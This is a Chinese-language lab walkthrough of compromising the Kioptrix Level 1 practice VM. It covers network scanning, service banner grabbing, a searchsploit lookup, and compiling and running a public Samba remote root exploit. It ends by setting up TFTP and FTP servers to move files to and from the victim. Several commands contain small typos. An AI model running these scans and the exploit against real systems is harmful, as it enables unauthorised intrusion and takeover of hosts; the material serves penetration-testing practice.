一、 Kioptrix虚拟机

http://www.kioptrix.com/
下载Kioptrix VM Level1

添加为VirtualBox的虚拟机
把Kioptrix虚拟机作为靶机。

二、 实验过程

1. 列举服务

使用nmap对网络中的机器进行扫描。

nmap -f -n -P0 -v -p- -T4 192.168.75.0/24

该命令使用分包技术对网段上所有的IP的TCP端口进行扫描。

* 使用Unicornscan进行快速扫描*

cp /usr/share/GeoIP/GeoIP.data /usr/local/etc/unicornscan/   #BackTrack5 R1 中需要运行此命令
apt-get install Unicornscan

unicornscan -mT -r500 -I 192.168.75.0/24   # 每秒500个数据包的速度扫描网段所有TCP端口。
unicornscan -mU -r500 -I 192.168.75.0/24   # 对UDP端口进行扫描

从上面命令返回结果,找到我们的目标靶机。

2. 完全扫描

利用Nmap进行完全扫描

nmap -n -sTUV -pT:22,80,111,139,443,32768,U:111,137,32768 192.168.75.14

获取目标主机开放端口,及目标上运行的服务。

3. 获取旗标

使用Netcat和Ncat获取旗标

nc 192.168,75.14 80
HEAD / HTTP 1.1
回车
回车

获取目标主机操作系统版本、web容器版本等。
使用Ncat获取旗标

ncat 192.168.75.14 80
HEAD / HTTP 1.1
回车
回车

使用smbclient获取旗标

smbclient - L 192.168.75.14 - N

利用smbclient工具可以通过139/TCP端口获得该服务的旗标。上面命令调用smbclient连接到目标主机,然后显示服务的信息。
- N 表示我们没有目标的root密码

扫描的结果如果有Samba版本,这个信息可以用来搜索针对这个服务有没有可能存在的漏洞。

4. 搜索Exploit-DB

在Exploit-DB.com上,可以找到已知漏洞的有用信息,以及验证其有效性的概念验证代码(POC)。通过使用概念验证代码,能确定目标软件版本是否存在漏洞。
搜索Samba版本2.2.1a的相关漏洞
1. 打开http://www.exploit-db.com
2. 单击search
3. 在Description 输入 Samba
4. Port 输入139
5. 单击Search

5. 离线的Exploit-DB

在BackTrack里包含了一份exploit-db.com数据库的拷贝。

cd /pentest/exploits/exploitdb
./searchsploit samba

这里写图片描述

我们尝试 Samba 2.2.8 Remote Root Exploit - sambal.c
POC 路径在 /linux/remote/10.c ,这是个C语言程序。首先需要编译。

cp /pentest/exploits/exploitdb/platforms/linux/remote/10.c /root/10.c
cd /root
vim 10.c
# 这时会看到源代码里很多^M,用vim命令删除它们
:%s/^M//g             # 这是在vim里输入的命令,其中^是ctrl+v 后面的M是ctrl+M
gcc 10.c -o SambaVuln10

如无意外,编译是成功不了的。脚本有很多语法错误需要处理。 处理到最后还可能有程序错误。
代码完成修改,并成功编译后,会生成SambaVuln。

6. 运行漏洞利用程序

./SambaVuln10
./SambaVuln10 -v -d 0 -S 192.168.75   # 程序的扫描模式
./SambaVuln10 -b 0 -v 192.168.75.14

这时将会获得目标机器的root权限。

cd /
ls  #这时看到目标主机的目录列表
whoami
hostname
lastlog

三、 在受害机器上传和下载文件

1. 在BT5 安装和启动TFTP服务

apt-get install atftpd
atftpd --daemon --port 69 --bind-address 192.168.75.12 /tmp
netstat - anu | grep 69

2. 安装和配置pure-ftpd

apt-get install pure-ftpd
echo /etc/pure-ftpd/pureftpd.pdb > PureDB
ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/50pure
groupadd -g 7777 ftpz
useradd -u 7777 -s /bin/false -d /dev/null -c "pureFTP" -g ftpz Testerz
mkdir /var/ftp /var/ftp/public /var/ftp/public/ftplogin
chown -R testerz:ftpz /var/ftp/public/ftplogin
pure-pw useradd ftplogin -u Testerz -d /var/ftp/public/ftplogin
pure-pw mkdb
pure-pw show ftplogin
/etc/init.d/pure-ftpd start
ftp 127.0.0.1
Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐